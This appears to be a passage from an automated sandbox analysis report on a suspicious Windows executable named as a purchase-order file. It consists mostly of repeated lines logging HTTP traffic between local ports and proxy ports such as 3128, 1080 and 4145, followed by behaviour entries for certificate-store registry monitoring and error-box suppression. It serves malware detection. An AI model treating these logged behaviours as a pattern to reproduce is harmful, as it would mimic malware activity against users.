Source: unknown	Network traffic detected: HTTP traffic on port 50521 -> 30453
Source: unknown	Network traffic detected: HTTP traffic on port 50536 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50539 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 30000 -> 50200
Source: unknown	Network traffic detected: HTTP traffic on port 50499 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50543 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50550 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 5432 -> 50396
Source: unknown	Network traffic detected: HTTP traffic on port 50638 -> 42624
Source: unknown	Network traffic detected: HTTP traffic on port 50502 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50557 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 20037
Source: unknown	Network traffic detected: HTTP traffic on port 50481 -> 8880
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50569 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50255
Source: unknown	Network traffic detected: HTTP traffic on port 50258 -> 40536
Source: unknown	Network traffic detected: HTTP traffic on port 50620 -> 15303
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 31679
Source: unknown	Network traffic detected: HTTP traffic on port 50523 -> 51251
Source: unknown	Network traffic detected: HTTP traffic on port 50483 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50545 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 50724 -> 64579
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 54240
Source: unknown	Network traffic detected: HTTP traffic on port 44195 -> 50293
Source: unknown	Network traffic detected: HTTP traffic on port 50755 -> 64110
Source: unknown	Network traffic detected: HTTP traffic on port 50542 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 5484
Source: unknown	Network traffic detected: HTTP traffic on port 9123 -> 50323
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50594 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50667 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50670 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50668 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50671 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50567 -> 8083
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50706 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50710 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50657 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50820 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50802 -> 9764
Source: unknown	Network traffic detected: HTTP traffic on port 50602 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50262 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 55019
Source: unknown	Network traffic detected: HTTP traffic on port 50598 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50691 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50711 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 50690 -> 5430
Source: unknown	Network traffic detected: HTTP traffic on port 50633 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 50681 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 24543 -> 50419
Source: unknown	Network traffic detected: HTTP traffic on port 50773 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50723 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50712 -> 8083
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50569
Source: unknown	Network traffic detected: HTTP traffic on port 50781 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50828 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50760 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 7302 -> 50216
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50410
Source: unknown	Network traffic detected: HTTP traffic on port 50839 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50228 -> 7891
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 28695
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 48612
Source: unknown	Network traffic detected: HTTP traffic on port 50833 -> 8197
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50310 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50836 -> 10003
Source: unknown	Network traffic detected: HTTP traffic on port 50885 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50830 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 31908
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 59870
Source: unknown	Network traffic detected: HTTP traffic on port 50831 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50233 -> 41055
Source: unknown	Network traffic detected: HTTP traffic on port 50303 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 5005 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 50813 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 50269 -> 48553
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50460
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 9091
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 9990 -> 50160
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 50483
Source: unknown	Network traffic detected: HTTP traffic on port 50905 -> 5432
Source: unknown	Network traffic detected: HTTP traffic on port 50250 -> 5034
Source: unknown	Network traffic detected: HTTP traffic on port 50521 -> 30453
Source: unknown	Network traffic detected: HTTP traffic on port 50638 -> 42624
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50253
Source: unknown	Network traffic detected: HTTP traffic on port 50159 -> 24787
Source: unknown	Network traffic detected: HTTP traffic on port 50901 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50944 -> 3230
Source: unknown	Network traffic detected: HTTP traffic on port 50884 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 50914 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50898 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 50887 -> 9191
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50873 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50691
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50927 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 44374
Source: unknown	Network traffic detected: HTTP traffic on port 50755 -> 64110
Source: unknown	Network traffic detected: HTTP traffic on port 50948 -> 15303
Source: unknown	Network traffic detected: HTTP traffic on port 50949 -> 31679
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 7777
Source: unknown	Network traffic detected: HTTP traffic on port 50452 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50977 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 50911 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50258 -> 40536
Source: unknown	Network traffic detected: HTTP traffic on port 50978 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50979 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50489 -> 14282
Source: unknown	Network traffic detected: HTTP traffic on port 50980 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50984 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 10003 -> 50836
Source: unknown	Network traffic detected: HTTP traffic on port 50983 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50989 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 5432 -> 50905
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 20037
Source: unknown	Network traffic detected: HTTP traffic on port 50244 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50335 -> 34172
Source: unknown	Network traffic detected: HTTP traffic on port 50945 -> 31247
Source: unknown	Network traffic detected: HTTP traffic on port 50988 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 50367 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 50340 -> 42571
Source: unknown	Network traffic detected: HTTP traffic on port 50993 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51014 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 9091 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 51040 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50406 -> 6821
Source: unknown	Network traffic detected: HTTP traffic on port 51073 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 34144
Source: unknown	Network traffic detected: HTTP traffic on port 51019 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 51037 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50373 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 51116 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51028 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51041 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 51083 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51036 -> 8083
Source: unknown	Network traffic detected: HTTP traffic on port 51030 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50356 -> 27102
Source: unknown	Network traffic detected: HTTP traffic on port 51138 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51070 -> 52395
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 51106 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51059 -> 5430
Source: unknown	Network traffic detected: HTTP traffic on port 50723 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50464 -> 27391
Source: unknown	Network traffic detected: HTTP traffic on port 50262 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51105 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51050 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50438 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51118 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50944 -> 3230
Source: unknown	Network traffic detected: HTTP traffic on port 50602 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50712 -> 8083
Source: unknown	Network traffic detected: HTTP traffic on port 51099 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50813
Source: unknown	Network traffic detected: HTTP traffic on port 50578 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50873
Source: unknown	Network traffic detected: HTTP traffic on port 50833 -> 8197
Source: unknown	Network traffic detected: HTTP traffic on port 50638 -> 42624
Source: unknown	Network traffic detected: HTTP traffic on port 51187 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51167 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51159 -> 15291
Source: unknown	Network traffic detected: HTTP traffic on port 51168 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50633 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51149 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50372 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51136 -> 8197
Source: unknown	Network traffic detected: HTTP traffic on port 51186 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50862 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50702 -> 35396
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50499
Source: unknown	Network traffic detected: HTTP traffic on port 50755 -> 64110
Source: unknown	Network traffic detected: HTTP traffic on port 50521 -> 30453
Source: unknown	Network traffic detected: HTTP traffic on port 50600 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 51184 -> 29985
Source: unknown	Network traffic detected: HTTP traffic on port 51151 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50506 -> 4019
Source: unknown	Network traffic detected: HTTP traffic on port 51202 -> 31679
Source: unknown	Network traffic detected: HTTP traffic on port 50727 -> 15805
Source: unknown	Network traffic detected: HTTP traffic on port 51264 -> 5432
Source: unknown	Network traffic detected: HTTP traffic on port 50608 -> 63055
Source: unknown	Network traffic detected: HTTP traffic on port 50801 -> 13276
Source: unknown	Network traffic detected: HTTP traffic on port 51191 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51190 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 51232 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51037
Source: unknown	Network traffic detected: HTTP traffic on port 51146 -> 12792
Source: unknown	Network traffic detected: HTTP traffic on port 51269 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51288 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51343 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51200 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51309 -> 27360
Source: unknown	Network traffic detected: HTTP traffic on port 51365 -> 50564
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51116
Source: unknown	Network traffic detected: HTTP traffic on port 50741 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51150 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50507 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51118
Source: unknown	Network traffic detected: HTTP traffic on port 51360 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50303 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 51204 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51308 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50708 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 51378 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50823 -> 38586
Source: unknown	Network traffic detected: HTTP traffic on port 51313 -> 3389
Source: unknown	Network traffic detected: HTTP traffic on port 51387 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50233 -> 41055
Source: unknown	Network traffic detected: HTTP traffic on port 5432 -> 51264
Source: unknown	Network traffic detected: HTTP traffic on port 50269 -> 48553
Source: unknown	Network traffic detected: HTTP traffic on port 51424 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51380 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 51356 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51343
Source: unknown	Network traffic detected: HTTP traffic on port 51413 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51023 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51451 -> 5432
Source: unknown	Network traffic detected: HTTP traffic on port 51432 -> 27391
Source: unknown	Network traffic detected: HTTP traffic on port 51445 -> 34824
Source: unknown	Network traffic detected: HTTP traffic on port 51469 -> 9080
Source: unknown	Network traffic detected: HTTP traffic on port 50896 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 51425 -> 10010
Source: unknown	Network traffic detected: HTTP traffic on port 50944 -> 3230
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 51390 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51412 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51509 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 51431 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51555 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50452 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50250 -> 5034
Source: unknown	Network traffic detected: HTTP traffic on port 51070 -> 52395
Source: unknown	Network traffic detected: HTTP traffic on port 51477 -> 10000
Source: unknown	Network traffic detected: HTTP traffic on port 51415 -> 31247
Source: unknown	Network traffic detected: HTTP traffic on port 51407 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51524 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51471 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51473 -> 5430
Source: unknown	Network traffic detected: HTTP traffic on port 51544 -> 64935
Source: unknown	Network traffic detected: HTTP traffic on port 51430 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51464 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50159 -> 24787
Source: unknown	Network traffic detected: HTTP traffic on port 50775 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51540 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51507 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51523 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51308
Source: unknown	Network traffic detected: HTTP traffic on port 5432 -> 51451
Source: unknown	Network traffic detected: HTTP traffic on port 51505 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 48892
Source: unknown	Network traffic detected: HTTP traffic on port 51099 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51486 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51365 -> 50564
Source: unknown	Network traffic detected: HTTP traffic on port 50982 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 83 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 51537 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51049 -> 52326
Source: unknown	Network traffic detected: HTTP traffic on port 12792 -> 51146
Source: unknown	Network traffic detected: HTTP traffic on port 51050 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 51555
Source: unknown	Network traffic detected: HTTP traffic on port 50950 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 51599 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51596 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 10010 -> 51425
Source: unknown	Network traffic detected: HTTP traffic on port 51554 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51573 -> 31679
Source: unknown	Network traffic detected: HTTP traffic on port 51652 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 50258 -> 40536
Source: unknown	Network traffic detected: HTTP traffic on port 4019 -> 50506
Source: unknown	Network traffic detected: HTTP traffic on port 51568 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 51685 -> 8585
Source: unknown	Network traffic detected: HTTP traffic on port 51576 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51131 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50873
Source: unknown	Network traffic detected: HTTP traffic on port 51765 -> 14738
Source: unknown	Network traffic detected: HTTP traffic on port 51715 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50941 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 51575 -> 29985
Source: unknown	Network traffic detected: HTTP traffic on port 51577 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51698 -> 17328
Source: unknown	Network traffic detected: HTTP traffic on port 51626 -> 27360
Source: unknown	Network traffic detected: HTTP traffic on port 51719 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 51583 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51750 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 51672 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51594 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 51775 -> 35774
Source: unknown	Network traffic detected: HTTP traffic on port 50723 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51574 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51628 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 10000 -> 51477
Source: unknown	Network traffic detected: HTTP traffic on port 51613 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51646 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51663 -> 10007
Source: unknown	Network traffic detected: HTTP traffic on port 51693 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 51678 -> 29380
Source: unknown	Network traffic detected: HTTP traffic on port 51797 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 51635 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51638 -> 1111
Source: unknown	Network traffic detected: HTTP traffic on port 51605 -> 3129
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 51525 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 3125
Source: unknown	Network traffic detected: HTTP traffic on port 51855 -> 29129
Source: unknown	Network traffic detected: HTTP traffic on port 8585 -> 51685
Source: unknown	Network traffic detected: HTTP traffic on port 51772 -> 14470
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 51464
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 51407
Source: unknown	Network traffic detected: HTTP traffic on port 51666 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 51696 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51770 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51944 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 51094 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51859 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 51810 -> 44444
Source: unknown	Network traffic detected: HTTP traffic on port 51776 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 20037
Source: unknown	Network traffic detected: HTTP traffic on port 50244 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51103 -> 46047
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 51715
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50170
Source: unknown	Network traffic detected: HTTP traffic on port 51445 -> 34824
Source: unknown	Network traffic detected: HTTP traffic on port 51852 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 51893 -> 2572
Source: unknown	Network traffic detected: HTTP traffic on port 51943 -> 32708
Source: unknown	Network traffic detected: HTTP traffic on port 51951 -> 41890
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 51505
Source: unknown	Network traffic detected: HTTP traffic on port 51959 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 9191 -> 50887
Source: unknown	Network traffic detected: HTTP traffic on port 51229 -> 48298
Source: unknown	Network traffic detected: HTTP traffic on port 52038 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51540
Source: unknown	Network traffic detected: HTTP traffic on port 51886 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50638 -> 42624
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51430
Source: unknown	Network traffic detected: HTTP traffic on port 50755 -> 64110
Source: unknown	Network traffic detected: HTTP traffic on port 52026 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51826 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51973 -> 10051
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51921 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51990 -> 5566
Source: unknown	Network traffic detected: HTTP traffic on port 51714 -> 8899
Source: unknown	Network traffic detected: HTTP traffic on port 51966 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51965 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 52049 -> 21017
Source: unknown	Network traffic detected: HTTP traffic on port 52014 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 52121 -> 44719
Source: unknown	Network traffic detected: HTTP traffic on port 52002 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52045 -> 31034
Source: unknown	Network traffic detected: HTTP traffic on port 51150 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 10007 -> 51663
Source: unknown	Network traffic detected: HTTP traffic on port 51220 -> 11946
Source: unknown	Network traffic detected: HTTP traffic on port 52060 -> 43839
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 51537
Source: unknown	Network traffic detected: HTTP traffic on port 52126 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51306 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 52074 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51365 -> 50564
Source: unknown	Network traffic detected: HTTP traffic on port 51244 -> 44827
Source: unknown	Network traffic detected: HTTP traffic on port 52084 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51282 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51252 -> 4300
Source: unknown	Network traffic detected: HTTP traffic on port 51765 -> 14738
Source: unknown	Network traffic detected: HTTP traffic on port 52095 -> 5034
Source: unknown	Network traffic detected: HTTP traffic on port 51367 -> 31147
Source: unknown	Network traffic detected: HTTP traffic on port 51599 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 52085 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 54240 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50708
Source: unknown	Network traffic detected: HTTP traffic on port 52160 -> 9994
Source: unknown	Network traffic detected: HTTP traffic on port 3129 -> 51605
Source: unknown	Network traffic detected: HTTP traffic on port 52159 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 52200 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 32708 -> 51943
Source: unknown	Network traffic detected: HTTP traffic on port 51775 -> 35774
Source: unknown	Network traffic detected: HTTP traffic on port 50521 -> 30453
Source: unknown	Network traffic detected: HTTP traffic on port 41890 -> 51951

Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
